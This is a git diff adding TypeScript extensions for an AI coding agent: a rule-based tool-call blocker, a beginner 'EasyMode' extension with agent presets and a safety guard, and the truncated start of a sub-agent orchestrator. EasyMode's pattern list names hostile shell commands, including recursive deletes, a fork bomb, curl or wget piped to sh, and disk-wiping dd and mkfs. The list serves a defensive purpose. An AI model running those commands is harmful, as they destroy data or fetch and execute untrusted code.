relative-to-cwd path + const relativePath = path.relative(cwd, targetPath); + + return regex.test(targetPath) || regex.test(relativePath) || targetPath.includes(resolvedPattern) || relativePath.includes(resolvedPattern); + } + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + const rulesPath = path.join(ctx.cwd, ".pi", "damage-control-rules.yaml"); + try { + if (fs.existsSync(rulesPath)) { + const content = fs.readFileSync(rulesPath, "utf8"); + const loaded = yamlParse(content) as Partial; + rules = { + bashToolPatterns: loaded.bashToolPatterns || [], + zeroAccessPaths: loaded.zeroAccessPaths || [], + readOnlyPaths: loaded.readOnlyPaths || [], + noDeletePaths: loaded.noDeletePaths || [], + }; + ctx.ui.notify(`🛡️ Damage-Control: Loaded ${rules.bashToolPatterns.length + rules.zeroAccessPaths.length + rules.readOnlyPaths.length + rules.noDeletePaths.length} rules.`); + } else { + ctx.ui.notify("🛡️ Damage-Control: No rules found at .pi/damage-control-rules.yaml"); + } + } catch (err) { + ctx.ui.notify(`🛡️ Damage-Control: Failed to load rules: ${err instanceof Error ? err.message : String(err)}`); + } + + ctx.ui.setStatus(`🛡️ Damage-Control Active: ${rules.bashToolPatterns.length + rules.zeroAccessPaths.length + rules.readOnlyPaths.length + rules.noDeletePaths.length} Rules`); + }); + + pi.on("tool_call", async (event, ctx) => { + let violationReason: string | null = null; + let shouldAsk = false; + + // 1. Check Zero Access Paths for all tools that use path or glob + const checkPaths = (pathsToCheck: string[]) => { + for (const p of pathsToCheck) { + const resolved = resolvePath(p, ctx.cwd); + for (const zap of rules.zeroAccessPaths) { + if (isPathMatch(resolved, zap, ctx.cwd)) { + return `Access to zero-access path restricted: ${zap}`; + } + } + } + return null; + }; + + // Extract paths from tool input + const inputPaths: string[] = []; + if (isToolCallEventType("read", event) || isToolCallEventType("write", event) || isToolCallEventType("edit", event)) { + inputPaths.push(event.input.path); + } else if (isToolCallEventType("grep", event) || isToolCallEventType("find", event) || isToolCallEventType("ls", event)) { + inputPaths.push(event.input.path || "."); + } + + if (isToolCallEventType("grep", event) && event.input.glob) { + // Check glob field as well + for (const zap of rules.zeroAccessPaths) { + if (event.input.glob.includes(zap) || isPathMatch(event.input.glob, zap, ctx.cwd)) { + violationReason = `Glob matches zero-access path: ${zap}`; + break; + } + } + } + + if (!violationReason) { + violationReason = checkPaths(inputPaths); + } + + // 2. Tool-specific logic + if (!violationReason) { + if (isToolCallEventType("bash", event)) { + const command = event.input.command; + + // Check bashToolPatterns + for (const rule of rules.bashToolPatterns) { + const regex = new RegExp(rule.pattern); + if (regex.test(command)) { + violationReason = rule.reason; + shouldAsk = !!rule.ask; + break; + } + } + + // Check if bash command interacts with restricted paths + if (!violationReason) { + for (const zap of rules.zeroAccessPaths) { + if (command.includes(zap)) { + violationReason = `Bash command references zero-access path: ${zap}`; + break; + } + } + } + + if (!violationReason) { + for (const rop of rules.readOnlyPaths) { + // Heuristic: check if command might modify a read-only path + // Redirects, sed -i, rm, mv to, etc. + if (command.includes(rop) && (/[\s>|]/.test(command) || command.includes("rm") || command.includes("mv") || command.includes("sed"))) { + violationReason = `Bash command may modify read-only path: ${rop}`; + break; + } + } + } + + if (!violationReason) { + for (const ndp of rules.noDeletePaths) { + if (command.includes(ndp) && (command.includes("rm") || command.includes("mv"))) { + violationReason = `Bash command attempts to delete/move protected path: ${ndp}`; + break; + } + } + } + } else if (isToolCallEventType("write", event) || isToolCallEventType("edit", event)) { + // Check Read-Only paths + for (const p of inputPaths) { + const resolved = resolvePath(p, ctx.cwd); + for (const rop of rules.readOnlyPaths) { + if (isPathMatch(resolved, rop, ctx.cwd)) { + violationReason = `Modification of read-only path restricted: ${rop}`; + break; + } + } + } + } + } + + if (violationReason) { + if (shouldAsk) { + const confirmed = await ctx.ui.confirm("🛡️ Damage-Control Confirmation", `Dangerous command detected: ${violationReason}\n\nCommand: ${isToolCallEventType("bash", event) ? event.input.command : JSON.stringify(event.input)}\n\nDo you want to proceed?`, { timeout: 30000 }); + + if (!confirmed) { + ctx.ui.setStatus(`⚠️ Last Violation Blocked: ${violationReason.slice(0, 30)}...`); + pi.appendEntry("damage-control-log", { tool: event.toolName, input: event.input, rule: violationReason, action: "blocked_by_user" }); + ctx.abort(); + return { block: true, reason: `🛑 BLOCKED by Damage-Control: ${violationReason} (User denied)\n\nDO NOT attempt to work around this restriction. DO NOT retry with alternative commands, paths, or approaches that achieve the same result. Report this block to the user exactly as stated and ask how they would like to proceed.` }; + } else { + pi.appendEntry("damage-control-log", { tool: event.toolName, input: event.input, rule: violationReason, action: "confirmed_by_user" }); + return { block: false }; + } + } else { + ctx.ui.notify(`🛑 Damage-Control: Blocked ${event.toolName} due to ${violationReason}`); + ctx.ui.setStatus(`⚠️ Last Violation: ${violationReason.slice(0, 30)}...`); + pi.appendEntry("damage-control-log", { tool: event.toolName, input: event.input, rule: violationReason, action: "blocked" }); + ctx.abort(); + return { block: true, reason: `🛑 BLOCKED by Damage-Control: ${violationReason}\n\nDO NOT attempt to work around this restriction. DO NOT retry with alternative commands, paths, or approaches that achieve the same result. Report this block to the user exactly as stated and ask how they would like to proceed.` }; + } + } + + return { block: false }; + }); +} diff --git a/extensions/easymode.ts b/extensions/easymode.ts new file mode 100644 index 0000000..188b3e3 --- /dev/null +++ b/extensions/easymode.ts @@ -0,0 +1,641 @@ +/** + * EasyMode — All-in-one beginner-friendly Pi extension + * + * Built-in features: + * 🎯 Goal Keeper — set a focus so the AI stays on track + * 🛡️ Safety Guard — catches dangerous commands before they run + * 📊 Smart Footer — model, context bar, cost, git branch, tool tally + * 🤖 Agent Presets — switch AI personality with /agent + * 🟢 /menu — visual command picker (no memorization needed) + * 🛑 /stop — abort the current AI action + * 💡 /explain — re-explain the last action in plain English + * 🔖 /bookmark — save + list important moments + * ↩️ /undo — how to revert the last file change + * 📋 /status — full session dashboard + * 📖 /help — quick reference + * 🔄 /quickstart — re-run the welcome wizard + * + * Usage: pi -e extensions/easymode.ts + * + * Or with theme cycling: + * pi -e extensions/easymode.ts -e extensions/theme-cycler.ts + */ + +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { isToolCallEventType } from "@mariozechner/pi-coding-agent"; +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import { truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { basename } from "node:path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ═══════════════════════════════════════════════════════════════════════════ +// Agent Presets +// ═══════════════════════════════════════════════════════════════════════════ + +interface AgentPreset { + name: string; + emoji: string; + description: string; + systemPrompt: string; +} + +const AGENT_PRESETS: AgentPreset[] = [ + { + name: "Default", + emoji: "🤖", + description: "Standard coding assistant — no restrictions", + systemPrompt: "", + }, + { + name: "Explain Like I'm 5", + emoji: "👶", + description: "Explains everything in the simplest terms possible", + systemPrompt: `You are a patient teacher. The user is a beginner. +- Explain EVERY concept in simple terms before using it +- Use analogies and real-world comparisons +- Show the "before" and "after" of every change +- Never assume the user knows technical jargon — define it first +- After each code change, add a brief "What just happened?" summary +- If a command could break something, warn the user FIRST`, + }, + { + name: "Guided Builder", + emoji: "🏗️", + description: "Step-by-step building with confirmations at each stage", + systemPrompt: `You are a guided builder. Help the user build things step-by-step. +- Break every task into numbered steps and show the plan first +- Ask for confirmation before each major step +- After each change, briefly explain what you did and why +- If there are multiple approaches, list 2-3 options with pros/cons +- Always suggest the safest option as the default +- Show file paths and explain the project structure as you go`, + }, + { + name: "Code Reviewer", + emoji: "🔍", + description: "Reviews code and suggests improvements without changing anything", + systemPrompt: `You are a code reviewer. Review, don't modify. +- DO NOT write or edit any files unless explicitly asked +- Point out bugs, security issues, and improvement opportunities +- Rate code quality on a 1-5 scale with specific reasons +- Suggest improvements as clear before/after examples +- Focus on: readability, security, performance, maintainability +- Be encouraging — highlight what's done well too`, + }, + { + name: "Debug Detective", + emoji: "🕵️", + description: "Focused on finding and fixing bugs", + systemPrompt: `You are a debug detective. Help find and fix bugs systematically. +- Always ask to see error messages and logs first +- Explain your debugging thought process step by step +- List possible causes ranked by likelihood +- Test hypotheses one at a time +- After fixing, explain what caused the bug and how to prevent it +- Suggest adding error handling or tests to prevent recurrence`, + }, + { + name: "Safe Mode", + emoji: "🔒", + description: "Extra cautious — confirms every file modification", + systemPrompt: `You are in Safe Mode. Maximum caution. +- ALWAYS show the exact changes you plan to make BEFORE making them +- Ask for explicit "yes" confirmation before ANY file write, edit, or bash command +- Never run destructive commands (rm, drop, truncate, etc.) without double-confirming +- Create backups before modifying existing files when possible +- After each change, verify the change was correct by reading the file back +- If something goes wrong, immediately suggest how to undo it`, + }, +]; + +// ═══════════════════════════════════════════════════════════════════════════ +// Dangerous Command Patterns +// ═══════════════════════════════════════════════════════════════════════════ + +const DANGEROUS_PATTERNS: { pattern: RegExp; reason: string }[] = [ + { pattern: /rm\s+(-[rRf]+\s+|.*\s+-[rRf]+)/, reason: "Recursive/forced delete detected" }, + { pattern: /rm\s+-rf\s+[\/~]/, reason: "Deleting from root or home directory!" }, + { pattern: /DROP\s+(TABLE|DATABASE|SCHEMA)/i, reason: "SQL DROP command detected" }, + { pattern: /TRUNCATE\s+TABLE/i, reason: "SQL TRUNCATE command detected" }, + { pattern: /DELETE\s+FROM\s+\w+\s*(;|$)/i, reason: "DELETE without WHERE clause" }, + { pattern: />\s*\/dev\/sd[a-z]/, reason: "Writing directly to disk device" }, + { pattern: /mkfs\./, reason: "Filesystem format command detected" }, + { pattern: /dd\s+if=/, reason: "dd command — raw disk copy" }, + { pattern: /chmod\s+-R\s+777/, reason: "Recursive world-writable permissions" }, + { pattern: /:(){ :\|:& };:/, reason: "Fork bomb detected!" }, + { pattern: /curl.*\|\s*(ba)?sh/, reason: "Piping remote script to shell" }, + { pattern: /wget.*\|\s*(ba)?sh/, reason: "Piping remote script to shell" }, + { pattern: /git\s+push\s+.*--force/, reason: "Force push — may overwrite remote history" }, + { pattern: /git\s+reset\s+--hard/, reason: "Hard reset — may lose uncommitted changes" }, + { pattern: /npm\s+publish/, reason: "Publishing to npm registry" }, + { pattern: /docker\s+system\s+prune/, reason: "Docker system prune — removes all unused data" }, +]; + +// ═══════════════════════════════════════════════════════════════════════════ +// Extension +// ═══════════════════════════════════════════════════════════════════════════ + +export default function (pi: ExtensionAPI) { + let purpose: string | undefined; + let activePreset: AgentPreset = AGENT_PRESETS[1]; // Default to "Explain Like I'm 5" for beginners + let activeCtx: ExtensionContext | undefined; + const toolCounts: Record = {}; + const bookmarks: { timestamp: string; note: string }[] = []; + let lastFileChange: { tool: string; path: string } | null = null; + let toolRunsSinceLastTip = 0; + + // ── Tool tracking + contextual tips ─────────────────────────────── + pi.on("tool_execution_end", async (event) => { + toolCounts[event.toolName] = (toolCounts[event.toolName] || 0) + 1; + + // Show a helpful hint every 5 tool runs + toolRunsSinceLastTip++; + if (activeCtx && toolRunsSinceLastTip >= 5) { + toolRunsSinceLastTip = 0; + const tips = [ + "💡 Confused? Type /explain and the AI will break down what just happened.", + "💡 Want to save your progress? Type /bookmark to mark this moment.", + "💡 Type /menu to see everything you can do.", + "💡 Things going wrong? Type /stop to pause the AI immediately.", + "💡 Type /undo to see how to reverse the last file change.", + "💡 Type /status to see a summary of your whole session.", + ]; + const tip = tips[Math.floor(Math.random() * tips.length)]; + activeCtx.ui.notify(tip, "info"); + } + }); + + // ── Track file changes for /undo ────────────────────────────────── + pi.on("tool_call", async (event, _ctx) => { + if (isToolCallEventType("write", event) || isToolCallEventType("edit", event)) { + lastFileChange = { tool: event.toolName, path: event.input.path }; + } + return { block: false }; + }); + + // ── Welcome Wizard ──────────────────────────────────────────────── + async function runWelcomeWizard(ctx: ExtensionContext) { + // Step 1: Welcome + ctx.ui.notify( + "👋 Welcome to EasyMode!\n\n" + + "This is your AI coding assistant. You type what you want\n" + + "in plain English, and it writes the code for you.\n\n" + + "Let's get you set up in 30 seconds...", + "info" + ); + + // Step 2: Pick a personality + const personalityOptions = AGENT_PRESETS.map((p) => `${p.emoji} ${p.name} — ${p.description}`); + const personalityChoice = await ctx.ui.select( + "Step 1 of 2: How should the AI talk to you?", + personalityOptions + ); + + if (personalityChoice !== undefined) { + const idx = personalityOptions.indexOf(personalityChoice); + activePreset = AGENT_PRESETS[idx]; + ctx.ui.setStatus("easymode", `${activePreset.emoji} ${activePreset.name}`); + ctx.ui.notify(`Great choice! ${activePreset.emoji} ${activePreset.name} activated.`, "success"); + } else { + ctx.ui.notify(`Using default: ${activePreset.emoji} ${activePreset.name}`, "info"); + } + + // Step 3: Set a goal + const answer = await ctx.ui.input( + "Step 2 of 2: What do you want to do today?", + "Examples: 'Make a website', 'Fix the bug on line 42', 'Explain this code to me'" + ); + + if (answer && answer.trim()) { + purpose = answer.trim(); + ctx.ui.notify(`🎯 Goal set: ${purpose}`, "success"); + setPurposeWidget(ctx); + } else { + ctx.ui.notify("No problem! You can set a goal anytime by typing /goal", "info"); + } + + // Step 4: Quick orientation + ctx.ui.notify( + "✅ You're all set! Here's what you need to know:\n\n" + + " 📝 Just type what you want in plain English\n" + + " 🟢 /menu — see all available commands\n" + + " 🛑 /stop — stop the AI if it's doing something wrong\n" + + " ❓ /explain — ask the AI to explain what it just did\n\n" + + "⚠️ The AI will ask for your OK before doing anything dangerous.\n\n" + + "Go ahead — type your first message! 🚀", + "success" + ); + } + + // ── Session start ───────────────────────────────────────────────── + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + activeCtx = ctx; + + // Fire-and-forget — don't block TUI startup + void runWelcomeWizard(ctx); + + // Footer + ctx.ui.setFooter((tui, theme, footerData) => { + const unsub = footerData.onBranchChange(() => tui.requestRender()); + + return { + dispose: unsub, + invalidate() {}, + render(width: number): string[] { + // Accumulate tokens + cost + let tokIn = 0, tokOut = 0, cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + + const fmt = (n: number) => n < 1000 ? `${n}` : `${(n / 1000).toFixed(1)}k`; + const model = ctx.model?.id || "no-model"; + const dir = basename(ctx.cwd); + const branch = footerData.getGitBranch(); + + // Context bar + const usage = ctx.getContextUsage(); + const pct = usage?.percent ?? 0; + const filled = Math.round(pct / 10); + const bar = "█".repeat(filled) + "░".repeat(10 - filled); + + // Line 1: model + context + agent + cost + const l1Left = + theme.fg("dim", ` ${model} `) + + (pct < 70 ? theme.fg("success", bar) : pct < 90 ? theme.fg("warning", bar) : theme.fg("error", bar)) + + theme.fg("dim", ` ${Math.round(pct)}% `) + + theme.fg("accent", `${activePreset.emoji} ${activePreset.name}`); + + const l1Right = + theme.fg("success", fmt(tokIn)) + + theme.fg("dim", "↓ ") + + theme.fg("accent", fmt(tokOut)) + + theme.fg("dim", "↑ ") + + theme.fg("warning", `$${cost.toFixed(4)}`) + + theme.fg("dim", " "); + + const pad1 = " ".repeat(Math.max(1, width - visibleWidth(l1Left) - visibleWidth(l1Right))); + const line1 = truncateToWidth(l1Left + pad1 + l1Right, width, ""); + + // Line 2: cwd + branch + tools + const l2Left = + theme.fg("dim", ` ${dir}`) + + (branch + ? theme.fg("dim", " ") + theme.fg("warning", "(") + theme.fg("success", branch) + theme.fg("warning", ")") + : ""); + + const entries = Object.entries(toolCounts); + const l2Right = entries.length === 0 + ? theme.fg("dim", "ready ") + : entries + .map(([name, count]) => theme.fg("accent", name) + theme.fg("dim", ":") + theme.fg("success", `${count}`)) + .join(theme.fg("dim", " ")) + " "; + + const pad2 = " ".repeat(Math.max(1, width - visibleWidth(l2Left) - visibleWidth(l2Right))); + const line2 = truncateToWidth(l2Left + pad2 + l2Right, width, ""); + + return [line1, line2]; + }, + }; + }); + + ctx.ui.setStatus("easymode", `${activePreset.emoji} ${activePreset.name}`); + }); + + pi.on("session_switch", async (_event, ctx) => { activeCtx = ctx; }); + + // ── Safety guard ────────────────────────────────────────────────── + pi.on("tool_call", async (event, ctx) => { + if (isToolCallEventType("bash", event)) { + const cmd = event.input.command; + for (const { pattern, reason } of DANGEROUS_PATTERNS) { + if (pattern.test(cmd)) { + const confirmed = await ctx.ui.confirm( + "⚠️ Safety Warning", + `${reason}\n\nCommand: ${cmd}\n\nAre you sure you want to run this?`, + { timeout: 30000 } + ); + if (!confirmed) { + ctx.ui.notify(`🛡️ Blocked: ${reason}`, "warning"); + ctx.abort(); + return { + block: true, + reason: `🛑 BLOCKED by Safety Guard: ${reason}\n\nThe user chose not to run this command. Ask them what they'd like to do instead.`, + }; + } + break; + } + } + } + return { block: false }; + }); + + // ── System prompt injection ─────────────────────────────────────── + pi.on("before_agent_start", async (event) => { + let extra = ""; + if (activePreset.systemPrompt) { + extra += `\n\n\n${activePreset.systemPrompt}\n`; + } + if (purpose) { + extra += `\n\n\nThe user's goal for this session: ${purpose}\nKeep this goal in mind. If the conversation drifts, gently guide back.\n`; + } + if (!extra) return; + return { systemPrompt: event.systemPrompt + extra }; + }); + + // ── Helper ──────────────────────────────────────────────────────── + function setPurposeWidget(ctx: ExtensionContext) { + ctx.ui.setWidget("purpose", () => ({ + render(width: number): string[] { + const label = " ✅ Working on: "; + const content = purpose!; + const line = truncateToWidth(label + content, width - 2, "…"); + return [ + " ".repeat(width), + line + " ".repeat(Math.max(0, width - visibleWidth(line))), + " ".repeat(width), + ]; + }, + invalidate() {}, + })); + } + + // ═══════════════════════════════════════════════════════════════════ + // Commands + // ═══════════════════════════════════════════════════════════════════ + + pi.registerCommand("help", { + description: "Show all EasyMode commands", + handler: async (_args, ctx) => { + ctx.ui.notify( + "📖 EasyMode Commands:\n\n" + + " /menu — 🟢 START HERE — pick a command from a list\n" + + " /help — You're looking at it!\n" + + " /agent — Switch AI personality (beginner, builder, reviewer...)\n" + + " /goal — Set or change your session goal\n" + + " /stop — Immediately stop the current AI action\n" + + " /explain — Ask the AI to explain what it just did\n" + + " /bookmark — Save the current moment with a note\n" + + " /bookmarks — See all saved bookmarks\n" + + " /undo — Show how to undo the last file change\n" + + " /status — Show session overview (goal, agent, stats)\n" + + " /quickstart — Re-run the setup wizard\n" + + "\n💡 Tips:\n" + + " • Just type what you want in plain English — no special syntax needed\n" + + " • The bottom bar shows your context usage and cost\n" + + " • ⚠️ Dangerous commands always ask for your OK first", + "info" + ); + }, + }); + + pi.registerCommand("menu", { + description: "Pick a command from a visual menu", + handler: async (_args, ctx) => { + const menuItems = [ + "🎯 Set or change my goal", + "🤖 Switch AI personality", + "💡 Explain what just happened", + "🔖 Save a bookmark", + "📋 See all my bookmarks", + "↩️ Undo the last file change", + "📊 Show session status", + "🛑 Stop the AI", + "🔄 Re-run setup wizard", + "📖 Show all commands (help)", + ]; + const choice = await ctx.ui.select("What would you like to do?", menuItems); + if (choice === undefined) return; + + const idx = menuItems.indexOf(choice); + switch (idx) { + case 0: { // Goal + const answer = await ctx.ui.input("🎯 What's your goal?", purpose || "e.g. Fix the login bug..."); + if (answer && answer.trim()) { + purpose = answer.trim(); + ctx.ui.notify(`🎯 Goal updated: ${purpose}`, "success"); + setPurposeWidget(ctx); + } + return; + } + case 1: { // Agent + const options = AGENT_PRESETS.map((p) => `${p.emoji} ${p.name} — ${p.description}`); + const agentChoice = await ctx.ui.select("Select AI Personality", options); + if (agentChoice !== undefined) { + const agentIdx = options.indexOf(agentChoice); + activePreset = AGENT_PRESETS[agentIdx]; + ctx.ui.setStatus("easymode", `${activePreset.emoji} ${activePreset.name}`); + ctx.ui.notify(`Switched to: ${activePreset.emoji} ${activePreset.name}\n${activePreset.description}`, "success"); + } + return; + } + case 2: // Explain + ctx.sendMessage("Please explain what you just did in simple terms that a beginner would understand. Use bullet points and avoid jargon. If you wrote code, explain what each part does."); + return; + case 3: { // Bookmark + const note = await ctx.ui.input("🔖 Bookmark note", "e.g. Got login working, Before refactor..."); + if (note && note.trim()) { + const ts = new Date().toLocaleTimeString(); + bookmarks.push({ timestamp: ts, note: note.trim() }); + pi.appendEntry("easymode-bookmarks", { timestamp: ts, note: note.trim() }); + ctx.ui.notify(`🔖 Saved: ${note.trim()} (${ts})`, "success"); + } + return; + } + case 4: { // Bookmarks + if (bookmarks.length === 0) return ctx.ui.notify("No bookmarks yet. Use /bookmark to save one.", "info"); + const list = bookmarks.map((b, i) => ` ${i + 1}. [${b.timestamp}] ${b.note}`).join("\n"); + return ctx.ui.notify(`🔖 Bookmarks:\n\n${list}`, "info"); + } + case 5: { // Undo + if (!lastFileChange) { + return ctx.ui.notify("No file changes tracked yet.\n\n💡 You can also tell the AI: \"Please undo the last change\"", "info"); + } + return ctx.ui.notify( + `↩️ Last change: ${lastFileChange.tool} → ${lastFileChange.path}\n\n` + + 'Tell the AI: "Please revert the last change"\n' + + `Or run: git checkout -- ${lastFileChange.path}`, + "info" + ); + } + case 6: { // Status + const usage = ctx.getContextUsage(); + const pct = usage?.percent ?? 0; + let tokIn = 0, tokOut = 0, cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + return ctx.ui.notify( + `📋 Session Status\n\n` + + ` 🎯 Goal: ${purpose || "(not set)"}\n` + + ` 🤖 Agent: ${activePreset.emoji} ${activePreset.name}\n` + + ` 📊 Context: ${Math.round(pct)}% used\n` + + ` 💰 Cost: $${cost.toFixed(4)}`, + "info" + ); + } + case 7: // Stop + ctx.abort(); + return ctx.ui.notify("🛑 Stopped.", "warning"); + case 8: // Quickstart + await runWelcomeWizard(ctx); + return; + case 9: // Help + return ctx.ui.notify( + "📖 All commands start with / (slash):\n\n" + + " /menu /goal /agent /explain /bookmark\n" + + " /bookmarks /undo /status /stop /quickstart /help\n\n" + + "Or just type what you want in plain English!", + "info" + ); + } + }, + }); + + pi.registerCommand("quickstart", { + description: "Re-run the welcome wizard", + handler: async (_args, ctx) => { + await runWelcomeWizard(ctx); + }, + }); + + pi.registerCommand("agent", { + description: "Switch AI personality preset", + handler: async (_args, ctx) => { + const options = AGENT_PRESETS.map((p) => `${p.emoji} ${p.name} — ${p.description}`); + const choice = await ctx.ui.select("Select AI Personality", options); + if (choice === undefined) return; + const idx = options.indexOf(choice); + activePreset = AGENT_PRESETS[idx]; + ctx.ui.setStatus("easymode", `${activePreset.emoji} ${activePreset.name}`); + ctx.ui.notify(`Switched to: ${activePreset.emoji} ${activePreset.name}\n${activePreset.description}`, "success"); + }, + }); + + pi.registerCommand("goal", { + description: "Set or change your session goal", + handler: async (_args, ctx) => { + const answer = await ctx.ui.input("🎯 What's your goal?", purpose || "e.g. Fix the login bug..."); + if (answer && answer.trim()) { + purpose = answer.trim(); + ctx.ui.notify(`🎯 Goal updated: ${purpose}`, "success"); + setPurposeWidget(ctx); + } + }, + }); + + pi.registerCommand("stop", { + description: "Immediately stop the current AI action", + handler: async (args, ctx) => { + const reason = (args || "").trim(); + ctx.abort(); + ctx.ui.notify(reason ? `🛑 Stopped: ${reason}` : "🛑 Stopped.", "warning"); + }, + }); + + pi.registerCommand("explain", { + description: "Ask the AI to explain its last action in simple terms", + handler: async (_args, ctx) => { + ctx.ui.notify("💡 Asking AI to explain...", "info"); + ctx.sendMessage( + "Please explain what you just did in simple terms that a beginner would understand. " + + "Use bullet points and avoid jargon. If you wrote code, explain what each part does." + ); + }, + }); + + pi.registerCommand("bookmark", { + description: "Save a bookmark with a note", + handler: async (_args, ctx) => { + const note = await ctx.ui.input("🔖 Bookmark note", "e.g. Got login working, Before refactor..."); + if (note && note.trim()) { + const ts = new Date().toLocaleTimeString(); + bookmarks.push({ timestamp: ts, note: note.trim() }); + pi.appendEntry("easymode-bookmarks", { timestamp: ts, note: note.trim() }); + ctx.ui.notify(`🔖 Saved: ${note.trim()} (${ts})`, "success"); + } + }, + }); + + pi.registerCommand("bookmarks", { + description: "Show all saved bookmarks", + handler: async (_args, ctx) => { + if (bookmarks.length === 0) { + ctx.ui.notify("No bookmarks yet. Use /bookmark to save one.", "info"); + return; + } + const list = bookmarks.map((b, i) => ` ${i + 1}. [${b.timestamp}] ${b.note}`).join("\n"); + ctx.ui.notify(`🔖 Bookmarks:\n\n${list}`, "info"); + }, + }); + + pi.registerCommand("undo", { + description: "Show how to undo the last file change", + handler: async (_args, ctx) => { + if (!lastFileChange) { + ctx.ui.notify( + "No file changes tracked yet.\n\n" + + "💡 General undo:\n" + + " git checkout -- revert to last commit\n" + + " git diff see what changed\n" + + " git stash save & revert everything", + "info" + ); + return; + } + ctx.ui.notify( + `↩️ Last change: ${lastFileChange.tool} → ${lastFileChange.path}\n\n` + + "To undo:\n" + + ` git checkout -- ${lastFileChange.path}\n\n` + + "See diff:\n" + + ` git diff ${lastFileChange.path}\n\n` + + 'Or tell the AI: "Please revert the last change"', + "info" + ); + }, + }); + + pi.registerCommand("status", { + description: "Show session overview", + handler: async (_args, ctx) => { + const usage = ctx.getContextUsage(); + const pct = usage?.percent ?? 0; + let tokIn = 0, tokOut = 0, cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + const entries = Object.entries(toolCounts); + const toolSummary = entries.length === 0 + ? " None yet" + : entries.map(([n, c]) => ` ${n}: ${c}`).join("\n"); + + ctx.ui.notify( + `📋 Session Status\n\n` + + ` 🎯 Goal: ${purpose || "(not set — use /goal)"}\n` + + ` 🤖 Agent: ${activePreset.emoji} ${activePreset.name}\n` + + ` 📊 Context: ${Math.round(pct)}% used\n` + + ` 💰 Cost: $${cost.toFixed(4)}\n` + + ` 📨 Tokens: ${tokIn} in / ${tokOut} out\n` + + ` 🔖 Bookmarks: ${bookmarks.length}\n` + + `\n🔧 Tools Used:\n${toolSummary}`, + "info" + ); + }, + }); +} diff --git a/extensions/hyperloop.ts b/extensions/hyperloop.ts new file mode 100644 index 0000000..bf7da55 --- /dev/null +++ b/extensions/hyperloop.ts @@ -0,0 +1,983 @@ +/** + * Hyperloop — Context-preserving sub-agent orchestrator + * + * The main agent stays lightweight and interactive. Heavy work is delegated + * to background sub-agents that run in isolated Pi sessions, preserving + * the main chat's context window. + * + * Key design: + * 1. Main agent KEEPS all its tools (read, bash, edit, write) for quick inline work + * 2. Heavy/complex tasks are offloaded to sub-agents via tools + * 3. Sub-agents run asynchronously — main chat stays responsive + * 4. Results stream back as follow-up messages when ready + * 5. Auto-delegation: detects when a task should be offloaded (configurable) + * 6. Sub-agents have persistent sessions for multi-turn continuations + * 7. Live widget dashboard shows all running/completed agents + * + * Auto-delegation triggers: + * - "across all files", "entire codebase", "every file" → offload + * - Explicit multi-step plans with 5+ steps → offload + * - User says "background", "async", "offload" → offload + * - Main context > 70% full → suggest offloading + * + * Tools (available to LLM): + * hyperloop_spawn — Spawn a sub-agent with a task + * hyperloop_continue — Continue a finished sub-agent's conversation + * hyperloop_status — Check status of all sub-agents + * hyperloop_kill — Kill/remove a sub-agent + * hyperloop_collect — Collect results from finished sub-agents + * + * Commands: + * /hl — Dashboard: show all sub-agents + * /hl spawn — Manually spawn a sub-agent + * /hl kill — Kill a running sub-agent + * /hl clear — Clear all sub-agents + * /hl auto on|off — Toggle auto-delegation suggestions + * /hl mode — Set mode: interactive (default), delegator, hybrid + * + * Modes: + * interactive — Main agent does everything, spawns sub-agents only when asked + * delegator — Main agent primarily delegates, keeps minimal tools + * hybrid — Main agent handles simple tasks inline, auto-offloads complex ones + * + * Usage: pi -e extensions/hyperloop.ts + */ + +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import type { ExtensionAPI, ExtensionContext, ToolCallEvent } from "@mariozechner/pi-coding-agent"; +import { DynamicBorder } from "@mariozechner/pi-coding-agent"; +import { Container, Text, truncateToWidth, visibleWidth, type AutocompleteItem } from "@mariozechner/pi-tui"; +import { Type } from "@sinclair/typebox"; +import { spawn as cpSpawn, type ChildProcess } from "child_process"; +import { existsSync, mkdirSync, readdirSync, readFileSync, unlinkSync } from "fs"; +import { basename, join } from "path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Constants ────────────────────────────────────────────────────────────── + +const AGENT_TIMEOUT_MS = 10 * 60 * 1000; // 10 min per sub-agent +const WIDGET_THROTTLE_MS = 400; +const CONTEXT_WARN_PCT = 70; // suggest offload above this +const MAX_RESULT_LENGTH = 12000; // truncate sub-agent results + +// ── Types ────────────────────────────────────────────────────────────────── + +type AgentMode = "interactive" | "delegator" | "hybrid"; +type SubStatus = "queued" | "running" | "done" | "error" | "killed"; + +interface SubAgent { + id: number; + status: SubStatus; + task: string; + role: string; // "general", "scout", "builder", etc. + tools: string; // comma-separated tool list + textChunks: string[]; + toolCount: number; + elapsed: number; + startTime: number; + sessionFile: string; + turnCount: number; + proc?: ChildProcess; + timer?: ReturnType; + exitCode?: number; + // Context tracking + inputTokens: number; + outputTokens: number; + cost: number; +} + +interface AgentDef { + name: string; + description: string; + tools: string; + systemPrompt: string; +} + +// ── Agent Definitions (built-in roles) ───────────────────────────────────── + +const BUILTIN_ROLES: AgentDef[] = [ + { + name: "general", + description: "General-purpose coding agent", + tools: "read,bash,edit,write,grep,find,ls", + systemPrompt: "You are a focused coding agent. Complete the given task efficiently. Be thorough but concise in your output.", + }, + { + name: "scout", + description: "Fast recon and codebase exploration (read-only)", + tools: "read,grep,find,ls", + systemPrompt: "You are a scout agent. Investigate the codebase quickly and report findings concisely. Do NOT modify any files. Focus on structure, patterns, and key entry points.", + }, + { + name: "builder", + description: "Implementation and code generation", + tools: "read,write,edit,bash,grep,find,ls", + 